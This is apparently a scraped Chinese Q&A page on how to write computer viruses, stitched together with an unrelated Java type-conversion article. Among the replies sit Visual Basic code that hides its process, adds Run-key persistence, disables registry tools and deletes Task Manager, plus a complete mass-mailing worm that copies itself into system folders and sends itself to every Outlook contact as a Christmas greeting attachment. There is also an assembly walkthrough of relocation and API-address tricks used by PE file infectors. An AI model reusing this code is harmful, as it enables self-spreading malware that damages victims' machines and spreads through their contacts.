如何编写病毒程序(如何编写病毒exe)

      最后更新:2024-04-01 07:16:24 手机定位技术交流文章

      我想学会编写病毒程序,请问需要具备哪些知识?

      JAVA变量类型之间的相互转换 我们知道,Java的数据类型分为三大类,即布尔型、字符型和数值型,而其中数值型又分为整型和浮点型;相对于数据类型,Java的变量类型为布尔型boolean;字符型char;整型byte、short、int、long;浮点型float、double。其中四种整型变量和两种浮点型变量分别对应于不同的精度和范围。此外,我们还经常用到两种类变量,即String和Date。对于这些变量类型之间的相互转换在我们编程中经常要用到,在我们今天的这篇文章中,我们将来看看如何实现这些转换。一、 整型、实型、字符型变量中的相互转换在Java中整型、实型、字符型被视为同一类数据,这些类型由低级到高级分别为(byte,short,char)??int??long??float??double,低级变量可以直接转换为高级变量,例如,下面的语句可以在Java中直接通过:byte b;int i=b;而将高级变量转换为低级变量时,情况会复杂一些,你可以使用强制类型转换。即你必须采用下面这种语句格式:int i;byte b=(byte)i;可以想象,这种转换肯定可能会导致溢出或精度的下降,因此我们并不推荐使用这种转换。二、Java的包装类在我们讨论其它变量类型之间的相互转换时,我们需要了解一下Java的包装类,所谓包装类,就是可以直接将简单类型的变量表示为一个类,在执行变量类型的相互转换时,我们会大量使用这些包装类。Java共有六个包装类,分别是Boolean、Character、Integer、Long、Float和 Double,从字面上我们就可以看出它们分别对应于 boolean、char、int、long、float和double。而String和Date本身就是类。所以也就不存在什么包装类的概念了。三、简单类型变量和包装类之间的相互转换简单类型的变量转换为相应的包装类,可以利用包装类的构造函数。即:Boolean(boolean value)、Character(char value)、Integer(int value)、Long(long value)、Float(float value)、Double(double value)而在各个包装类中,总有形为××Value()的方法,来得到其对应的简单类型数据。利用这种方法,也可以实现不同数值型变量间的转换,例如,对于一个双精度实型类,intValue()可以得到其对应的整型变量,而doubleValue()可以得到其对应的双精度实型变量。四、String类和其它数据类型的相互转换对于上面的这些包装类,除了Character以外,都有可以直接使用字符串参数的构造函数,这也就使得我们将String类转换为这些数据类型变得相当之简单,即:Boolean(String s)、Integer(String s)、Long(String s)、Float(String s)、Double(String s)而将String类转换为Date类也可以使用这样的构造函数:Date(String s)现在我们还剩下一个字符型变量,事实上String类可以理解为一个char型数组,因此我们可以在String类中找到这样的方法来实现这种转换: charAt(int index)可以得到String类中某一位置上的字符,toCharArray()更可以将整个String类转换成一个char的数组。对于所有的包装类都存在一个名为toString()的方法可以将其转换成对应的String类,而对于整型类和长整型类,还可以使用 toBinaryString(int i)、toHexString(int i)、toOctalString(int i)分别以二进制、十六进制和八进制的形式进行到String类的转换。五、将字符型直接做为数值转换为其它数据类型将字符型变量转换为数值型变量实际上有两种对应关系,在我们在第一部分所说的那种转换中,实际上是将其转换成对应的ASCII码,但是我们有时还需要另一种转换关系,例如,‘1’就是指的数值1,而不是其ASCII码,对于这种转换,我们可以使用Character的getNumericValue(char ch)方法。六、Date类与其它数据类型的相互转换整型和Date类之间并不存在直接的对应关系,只是你可以使用int型为分别表示年、月、日、时、分、秒,这样就在两者之间建立了一个对应关系,在作这种转换时,你可以使用Date类构造函数的三种形式:Date(int year, int month, int date):以int型表示年、月、日Date(int year, int month, int date, int hrs, int min):以int型表示年、月、日、时、分Date(int year, int month, int date, int hrs, int min, int sec):以int型表示年、月、日、时、分、秒在长整型和Date类之间有一个很有趣的对应关系,就是将一个时间表示为距离格林尼治标准时间1970年1月1日0时0分0秒的毫秒数。对于这种对应关系,Date类也有其相应的构造函数:Date(long date)获取Date类中的年、月、日、时、分、秒以及星期你可以使用Date类的getYear()、getMonth()、getDate()、 getHours()、getMinutes()、getSeconds()、getDay()方法,你也可以将其理解为将Date类转换成int。编程基础:什么是计算机语言计算机语言的种类非常的多,总的来说可以分成机器语言,汇编语言,高级语言三大类。电脑每做的一次动作,一个步骤,都是按照以经用计算机语言编好的程序来执行的,程序是计算机要执行的指令的集合,而程序全部都是用我们所掌握的语言来编写的。所以人们要控制计算机一定要通过计算机语言向计算机发出命令。计算机所能识别的语言只有机器语言,即由0和1构成的代码。但通常人们编程时,不采用机器语言,因为它非常难于记忆和识别。目前通用的编程语言有两种形式:汇编语言和高级语言。汇编语言的实质和机器语言是相同的,都是直接对硬件操作,只不过指令采用了英文缩写的标识符,更容易识别和记忆。它同样需要编程者将每一步具体的操作用命令的形式写出来。汇编程序通常由三部分组成:指令、伪指令和宏指令。汇编程序的每一句指令只能对应实际操作过程中的一个很细微的动作,例如移动、自增,因此汇编源程序一般比较冗长、复杂、容易出错,而且使用汇编语言编程需要有更多的计算机专业知识,但汇编语言的优点也是显而易见的,用汇编语言所能完成的操作不是一般高级语言所能实现的,而且源程序经汇编生成的可执行文件不仅比较小,而且执行速度很快。高级语言是目前绝大多数编程者的选择。和汇编语言相比,它不但将许多相关的机器指令合成为单条指令,并且去掉了与具体操作有关但与完成工作无关的细节,例如使用堆栈、寄存器等,这样就大大简化了程序中的指令。同时,由于省略了很多细节,编程者也就不需要有太多的专业知识。高级语言主要是相对于汇编语言而言,它并不是特指某一种具体的语言,而是包括了很多编程语言,如目前流行的VB、VC、FoxPro、Delphi等,这些语言的语法、命令格式都各不相同。高级语言所编制的程序不能直接被计算机识别,必须经过转换才能被执行,按转换方式可将它们分为两类:解释类:执行方式类似于我们日常生活中的“同声翻译”,应用程序源代码一边由相应语言的解释器“翻译”成目标代码(机器语言),一边执行,因此效率比较低,而且不能生成可独立执行的可执行文件,应用程序不能脱离其解释器,但这种方式比较灵活,可以动态地调整、修改应用程序。 编译类:编译是指在应用源程序执行之前,就将程序源代码“翻译”成目标代码(机器语言),因此其目标程序可以脱离其语言环境独立执行,使用比较方便、效率较高。但应用程序一旦需要修改,必须先修改源代码,再重新编译生成新的目标文件(* .OBJ)才能执行,只有目标文件而没有源代码,修改很不方便。现在大多数的编程语言都是编译型的,例如Visual C++、Visual Foxpro、Delphi等。
      你先让自己电脑多感染几个病毒 然后逆向分析下就知道了
      首先 你的先学会不用百度知道就知道很多事情
      首先需要的是道德人品方面的知识,谢谢!
      第一步,先从病毒的原理开始吧!
      我想学会编写病毒程序,请问需要具备哪些知识?

      电脑病毒是怎么编写出来的

      计算机病毒(Computer Virus)在《中华人民共和国计算机信息系统安全保护条例》中被明确定义,病毒指“编制者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序代码”。 病毒是由攻击者使用计算机语言(比如C、VBS等)编制而成的。
      要编写一个病毒并不简单,首先,你要非常熟悉一门编程语言,然后还要对电脑程序的运行非常了解,如内存的运行原理,CPU的工作原理等都要清清楚楚的,此外还有很多需要了解掌握的。
      电脑病毒是怎么编写出来的

      用VB怎么样编写病毒

      告诉你几个VB写病毒的常识,不要做坏事!!! HideCurrentProcess '隐藏进程Dim hKey As Long, SubKey As String, Exe As StringSubKey = "SoftwareMicrosoftWindowsCurrentVersionRun"Exe = App.Path & "" & App.EXEName & ".exe"RegCreateKey HKEY_LOCAL_MACHINE, SubKey, hKeyRegSetValueEx hKey, "19911593", 0, REG_SZ, ByVal Exe, LenB(StrConv(Exe, vbFromUnicode)) + 1RegCloseKey hKey'开机启动Dim hKey As LongRegCreateKey HKEY_CURRENT_USER, "SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem", hKeyRegSetValueEx hKey, "DisableRegistryTools", 0, REG_DWORD, 1&, 4RegCloseKey hKey'禁止访问注册表KILL"C:\WINDOWSSYSTEM32taskmgr.exe"'删除任务管理器整人代码:Msgbox "欢迎来到整人之家", 1, "You're foolish!"Msgbox "我是cy07",1, "You're foolish!"Msgbox "我的OICQ是371042", 1, "You're foolish!"Msgbox "或者15081189", 1, "You're foolish!"Msgbox "也可以是15081190", 1, "You're foolish!"Msgbox "你一定得18岁才准进入,请按确定", 1, "You're foolish!"Msgbox "进入此站时,不许说粗话!!同意请按确定", 1, "You're foolish!"Msgbox "我不相信你…………", 1, "You're foolish!"Msgbox "很对不起~但我得看你的身份证", 1, "You're foolish!"Msgbox "拿着你的身份证对着萤幕", 1, "You're foolish!"Msgbox "现在我得检查你的性别", 1, "You're foolish!"Msgbox "对!!检查你的性别!!!!", 1, "You're foolish!"Msgbox "据我的推测,你不是男的就是女的", 1, "You're foolish!"Msgbox "OH~YEAH~开个玩笑嘛", 1, "You're foolish!"Msgbox "为什麽这个主机要把这个网页放上来??", 1, "You're foolish!"Msgbox "嘿嘿…………不知道吧??", 1, "You're foolish!"Msgbox "因为这主机被某人耍了", 1, "You're foolish!"Msgbox "算了!!", 1, "You're foolish!"Msgbox "你知不知道你现在得一直按确定ㄚ??", 1, "You're foolish!"Msgbox "你得全部都按光耶!!", 1, "You're foolish!"Msgbox "ㄛ喔!!", 1, "You're foolish!"Msgbox "换句话说~你被卡在这里了!!", 1, "You're foolish!"Msgbox "ㄛ喔!!", 1, "You're foolish!"Msgbox "除非我打算让你走……", 1, "You're foolish!"Msgbox "可是……我什麽时候会想让你走咧??", 1, "You're foolish!"Msgbox "不过~可喜的是你现在一直做的很好!!", 1, "You're foolish!"Msgbox "你按确定的姿势有很大的进步喔!!", 1, "You're foolish!"Msgbox "对!进步很多啦!!", 1, "You're foolish!"Msgbox "既然你被卡在这里~我只好跟你讲一个故事来解解闷喽!!", 1, "You're foolish!"Msgbox "你一定很想听吧??", 1, "You're foolish!"Msgbox "我这麽做是为了让你呆久一点,知道吗??", 1, "You're foolish!"Msgbox "ㄛ喔!!", 1, "You're foolish!"Msgbox "仔细听好~故事开始喽!", 1, "You're foolish!"Msgbox "很久很久很久很久以前~有一个网瘾狂,", 1, "You're foolish!"Msgbox "任何一个上网的机会他都不会错过", 1, "You're foolish!"Msgbox "感觉很熟悉吧??", 1, "You're foolish!"Msgbox "无论如何!!", 1, "You're foolish!"Msgbox "他爸妈跟他说他不该上太多网", 1, "You're foolish!"Msgbox "不然的话就会有些怪人带他去些怪地方", 1, "You're foolish!"Msgbox "ㄛ喔!!", 1, "You're foolish!"Msgbox "可是他从来都不听。有一天他到了某个网站…………", 1, "You're foolish!"Msgbox "这里真的很烦!!", 1, "You're foolish!"Msgbox "从此以后~他再也不想上网了", 1, "You're foolish!"Msgbox "ㄛ喔~嘿嘿嘿!!", 1, "You're foolish!"Msgbox "你能猜的出来他到了哪个站了吗??", 1, "You're foolish!"Msgbox "很简单的问题吧?!", 1, "You're foolish!"Msgbox "没错!!他到了这里!!", 1, "You're foolish!"Msgbox "ㄛ喔!!", 1, "You're foolish!"Msgbox "你大概在猜这里面所隐藏的东西应该有一些意义吧??", 1, "You're foolish!"Msgbox "ㄛ喔!!", 1, "You're foolish!"Msgbox "可是,一点意义都没有!!", 1, "You're foolish!"Msgbox "ㄟ~~事实上~~算是有一个原因啦!!", 1, "You're foolish!"Msgbox "想知道吗??", 1, "You're foolish!"Msgbox "那就是把你卡在这里啦!!", 1, "You're foolish!"Msgbox "ㄛ喔!!", 1, "You're foolish!"Msgbox "嗯~~说真的这站实在很白痴!", 1, "You're foolish!"Msgbox "对啦~按确定练习站!!", 1, "You're foolish!"Msgbox "你大概推测出来了吧??", 1, "You're foolish!"Msgbox "对了~你知道吗??", 1, "You're foolish!"Msgbox "如果你想把你的任何一个朋友搞疯掉", 1, "You're foolish!"Msgbox "你可以把这个站寄给他!!", 1, "You're foolish!"Msgbox "Wow~听起来很过瘾吧?!", 1, "You're foolish!"Msgbox "大概要按90多次确定吧??", 1, "You're foolish!"Msgbox "ㄛ喔?!", 1, "You're foolish!"Msgbox "所以呢~当你进入这站的时候……", 1, "You're foolish!"Msgbox "就顺便把这网站寄给大家吧!", 1, "You're foolish!"Msgbox "让他们了解一下你现在的感受!!", 1, "You're foolish!"Msgbox "ㄛ喔!!", 1, "You're foolish!"Msgbox "你现在终於可以进入这网站啦!!", 1, "You're foolish!"Msgbox "谢天谢地!", 1, "You're foolish!"Msgbox "等等!!……", 1, "You're foolish!"Msgbox "我想跟你说另外一个故事", 1, "You're foolish!"Msgbox "ㄛ喔!!", 1, "You're foolish!"Msgbox "你快疯了吧??", 1, "You're foolish!"Msgbox "这可不是我的错喔~~你应该在网上找些别的东西!!", 1, "You're foolish!"Msgbox "知道了吧??现在你可能可以了解上网的坏处了吧!!", 1, "You're foolish!"Msgbox "因为你还有可能碰到类似的网页喔!", 1, "You're foolish!"Msgbox "你仔细想一想……不觉得有趣吗?", 1, "You're foolish!"Msgbox "好吧~我对不起你!", 1, "You're foolish!"Msgbox "你生命可以继续啦!", 1, "You're foolish!"Msgbox "还有…………", 1, "You're foolish!"Msgbox "你打算再听一个故事吗?", 1, "You're foolish!"Msgbox "ㄛ喔!!", 1, "You're foolish!"Msgbox "现在是不是有一种想要骂人的感觉?", 1, "You're foolish!"Msgbox "可是我们说好了的…………", 1, "You're foolish!"Msgbox "???", 1, "You're foolish!" Msgbox "算了,我还是放你走吧!", 1, "You're foolish!"
      VB 可以写病毒的 给你个小例子可以参考打开VB,先生成一个工程,然后删掉form,添加MDI,添加模块.下面的就是我已经做好的蠕虫代码,因为需要一些编程基础,我在这里就不在给大家做解释了.上面有注释,你们学会VB后自己看看就明白了.蠕虫就这样生成了,但它是被杀毒软件查杀的,我没有装杀毒.我也怕怕,不敢运行,就是教大家怎么做了.你要有杀毒的话可以试试..好了,教程就做到这里..Sub Main()'TaskVisible的功能是把程序在End Task表中除掉。App.TaskVisible = False'阻止问题发生On Error Resume NextDim Location, Location2, DesLocation, DesLocation2'得到EXE的位置Location = App.Path & "" & App.EXEName & ".exe"Location2 = App.Path & App.EXEName & ".exe"'设定目的地DesLocation = "C:WINDOWSSYSTEMWinMapi.exe"DesLocation2 = "C:WINNTSYSTEMMapi.exe"'开始复制自己FileCopy Location, DesLocationFileCopy Location2, DesLocationFileCopy Location, DesLocation2FileCopy Location2, DesLocation2Dim Var1, FilePath, FileName, FullLocation, MyAppDim Christmas, List, AddList, AddressListCountDim Merry, AdEntries, Attachs, MsgVar1 = "True"FilePath = App.PathFileName = App.EXENameFullLocation = FilePath & "" & FileNameSet MyApp = CreateObject("Outlook.Application")If MyApp = "Outlook" ThenSet Christmas = MyApp.GetNameSpace("mapi")Set List = Christmas.AddressListsFor Each Addresslist In ListIf Addresslist.AddressEntries.Count <> 0 ThenAddressListCount = Addresslist.AddressEntries.CountFor AddList = 1 To AddressListCountSet Merry = MyApp.CreateItem(0)Set AdEntries = Addresslist.AddressEntries(AddList)Merry.To = AdEntries.AddressMerry.Subject = "圣诞节快乐!!"Merry.Body = "圣诞节快乐!这是一个特别个你的圣诞节的礼物!过个快乐的圣诞节! "Set Attachs = Merry.AttachmentsAttachs.Add FullLocationIf Var1 = "true" ThenMerry.DeleteAfterSubmit = TrueIf Msg.To <> "" ThenMerry.sendEnd IfEnd IfNextBeepEnd IfNextEnd IfDim RegSet Reg = CreateObject("wscript.Shell")'把资料写入RegistryReg.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunMapi", "C:WINNTSYSTEMMapi.exe"Reg.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunWinMapi", "C:WINDOWSSYSTEMWinMapi.exe" End Sub
      不难,只要先学会VB的基本知识,熟练掌握代码,然后掌握一写DOS命令,就可以编写了.
      Dim 楼主 is 不是东西 if 楼主=废物 thenprint "楼主很可怜"elseif 楼主=很好学 thenprint "目的不良,学好很难" end if
      可以 但要看是什么病毒 VB编的程序并不高效
      用VB怎么样编写病毒

      怎么编程病毒?

      搂主`你多C语言懂多少呀?通常只要在病毒代码的开始计算出delta offset,通过变址寻址的方式书写引用数据的汇编代码,即可保证病毒代码在运行时被正确重定位。假设ebp 包含了delta offset,使用如下变址寻址指令则可保证在运行时引用的数据地址是正确的: ;ebp 包含了delta offset 值401000:mov eax,dword ptr [ebp+0x402035]......402035:db "hello world!",0在书写源程序时可以采用符号来代替硬编码的地址值,上述的例子中给出的不过是编译器对符号进行地址替换后的结果。现在的问题就转换成如何获取delta offset的值了,显然:call deltadelta:pop ebpsub ebp,offset delta在运行时就动态计算出了delta offset 值,因为call要将其后的第一条指令的地址压入堆栈,因此pop ebp 执行完毕后ebp 中就是delta的运行时地址,减去delta的编译时地址“offset delta”就得到了delta offset 的值。除了用明显的call 指令外,还可以使用不那么明显的fstenv、fsave、fxsave、fnstenv等浮点环境保存指令进行,这些指令也都可以获取某条指令的运行时地址。以fnstenv 为例,该指令将最后执行的一条FPU 指令相关的协处理器的信息保存在指定的内存中fpu_addr:fnopcall GetPhAddrsub ebp,fpu_addrGetPhAddr:sub esp,16fnstenv [esp-12]pop ebpadd esp,12retdelta offset 也不一定非要放在ebp 中,只不过是ebp 作为栈帧指针一般过程都不将该寄存器用于其它用途,因此大部分病毒作者都习惯于将delta offset 保存在ebp 中,其实用其他寄存器也完全可以。在优化过的病毒代码中并不经常直接使用上述直接计算delta offset 的代码,比如在Elkern开头写成了类似如下的代码:call _start_ip_start_ip:pop ebp;...;使用call [ebp+addrOpenProcess-_start_ip];...addrOpenProcess dd 0;而不是call _start_ip_start_ip:pop ebpsub ebp,_start_ipcall [ebp+addrOpenProcess]为什么不采用第二种书写代码的方式?其原因在于尽管第一种格式在书写源码时显得比较罗嗦, 但是addrOpenProcess-_start_ip 是一个较小相对偏移值,一般不超过两个字节,因此生成的指令较短,而addrOpenProcess在32 Win32编译环境下一般是4 个字节的地址值,生成的指令也就较长。有时对病毒对大小要求很苛刻,更多时候也是为了显示其超俗的编程技巧,病毒作者大量采用这种优化,对这种优化原理感兴趣的读者请参阅Intel手册卷2中的指令格式说明。API 函数地址的获取在能够正确重定位之后,病毒就可以运行自己代码了。但是这还远远不够,要搜索文件、读写文件、进行进程枚举等操作总不能在有Win32 API 的情况下自己用汇编完全重新实现一套吧,那样的编码量过大而且兼容性很差。Win9X/NT/2000/XP/2003系统都实现了同一套在各个不同的版本上都高度兼容的Win32 API,因此调用系统提供的Win32 API实现各种功能对病毒而言就是自然而然的事情了。所以接下来要解决的问题就是如何动态获取Win32 API的地址。最早的PE病毒采用的是预编码的方法,比如Windows 2000 中CreateFileA 的地址是0x7EE63260,那么就在病毒代码中使用call [7EE63260h]调用该API,但问题是不同的Windows 版本之间该API 的地址并不完全相同,使用该方法的病毒可能只能在Windows 2000的某个版本上运行。因此病毒作者自然而然地回到PE结构上来探求解决方法,我们知道系统加载PE 文件的时候,可以将其引入的特定DLL 中函数的运行时地址填入PE的引入函数表中,那么系统是如何为PE引入表填入正确的函数地址的呢?答案是系统解析引入DLL 的导出函数表,然后根据名字或序号搜索到相应引出函数的的RVA(相对虚拟地址),然后再和模块在内存中的实际加载地址相加,就可以得到API 函数的运行时真正地址。在研究操作系统是如何实现动态PE文件链接的过程中,病毒作者找到了以下两种解决方案:A)在感染PE 文件的时候,可以搜索宿主的函数引入表的相关地址,如果发现要使用的函数已经被引入,则将对该API 的调用指向该引入表函数地址,若未引入,则修改引入表增加该函数的引入表项,并将对该API 的调用指向新增加的引入函数地址。这样在宿主程序启动的时候,系统加载器已经把正确的API 函数地址填好了,病毒代码即可正确地直接调用该函数。 B)系统可以解析DLL 的导出表,自然病毒也可以通过这种手段从DLL 中获取所需要的API地址。要在运行时解析搜索DLL 的导出表,必须首先获取DLL 在内存中的真实加载地址,只有这样才能解析从PE 的头部信息中找到导出表的位置。应该首先解析哪个DLL 呢?我们知道Kernel32.DLL几乎在所有的Win32 进程中都要被加载,其中包含了大部分常用的API,特别是其中的LoadLibrary 和GetProcAddress 两个API可以获取任意DLL 中导出的任意函数,在迄今为止的所有Windows 平台上都是如此。只要获取了Kernel32.DLL在进程中加载的基址,然后解析Kernel32.DLL 的导出表获取常用的API 地址,如需要可进一步使用Kernel32.DLL 中的LoadLibrary 和GetProcAddress 两个API 更简单地获取任意其他DLL 中导出函数的地址并进行调用。
      不建议楼主这么做啊,能够进你空间的人都是你的好友,你还要去盗号么? 而且病毒不是这么好玩的,弄不好就中毒了,如果中毒的话建议楼主下载安装腾讯电脑管家来进行杀毒, 重启电脑按F8进入安全模式--打开腾讯电脑管家--杀毒--全盘扫描--完成后打开工具箱--顽固木马克星--深化扫描--完成重启电脑就可以了,
      这样不好 再说编写 病毒的话 需要精通一中计算机语言的防止病毒的把那就的有个杀软的推荐用腾讯电脑管家管家是杀毒管理二合一,木马查杀升级为专业杀毒,查杀更彻底管家独有的二代反病毒引擎,防护查杀更彻底管家拥有全球最大的云库平台,能更好的识别钓鱼网站 管家独创鹰眼模式,时刻保护您的爱机不受侵害
      你的问题是很敏感的问题,不想你去做什么。如果是想学习的话你可以去网上的黑客网站找到答案的。
      怎么编程病毒?

      病毒是怎么制作出来的?

      病毒定义 计算机病毒是一个程序,一段可执行码,对计算机的正常使用进行破坏,使得电脑无法正常使用甚至整个操作系统或者电脑硬盘损坏。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随同文件一起蔓延开来。这种程序不是独立存在的,它隐蔽在其他可执行的程序之中,既有破坏性,又有传染性和潜伏性。轻则影响机器运行速度,使机器不能正常运行;重则使机器处于瘫痪,会给用户带来不可估量的损失。通常就把这种具有破坏作用的程序称为计算机病毒。 除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎仅仅表现在文字和图像上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。计算机病毒:一种计算机程序,它可以附属在可执行文件或隐藏在系统数据区中,在开机或执行某些程序后悄悄地进驻内存,然后对其它的文件进行传染,使之传播出去,然后在特定的条件下破坏系统或骚扰用户。目前有很多的清除病毒的软件,但是新病毒还是层出不穷,成为一大危害。病毒的来源(1)搞计算机的人员和业余爱好者的恶作剧、寻开心制造出的病毒,例如象圆点一类的良性病毒;(2)软件公司及用户为保护自己的软件被非法复制而采取的报复性惩罚措施。因为他们发现对软件上锁,不如在其中藏有病毒对非法拷贝的打击大, 这更加助长了各种病毒的传播;(3)旨在攻击和摧毁计算机信息系统和计算机系统而制造的病毒----就是蓄意进行破坏。例如1987年底出现在以色列耶路撒冷西伯莱大学的犹太人病毒,就是雇员在工作中受挫或被辞退时故意制造的。它针对性强,破坏性大,产生于内部,防不胜防;(4)用于研究或有益目的而设计的程序,由于某种原因失去控制或产生了意想不到的效果。 病毒怎么来的?就是这样来的 病毒只是个运用不当的程序要是冰河用的好可以管理局域网呵呵
      专业的编程高手搞出来的一种程序,由于具有破坏性和传播性,所以称之为病毒.
      语言编写后植入其他程序或者借助某种方法进行运行并传播。
      是用语言编写出来的,熊猫烧香就是用delphi写的, VB c# JAVA都可以编写病毒的。
      病毒是怎么制作出来的?
      病毒是怎么制作出来的?

      本文由 在线网速测试 整理编辑,转载请注明出处,原文链接:https://www.wangsu123.cn/news/315132.html

          热门文章

          文章分类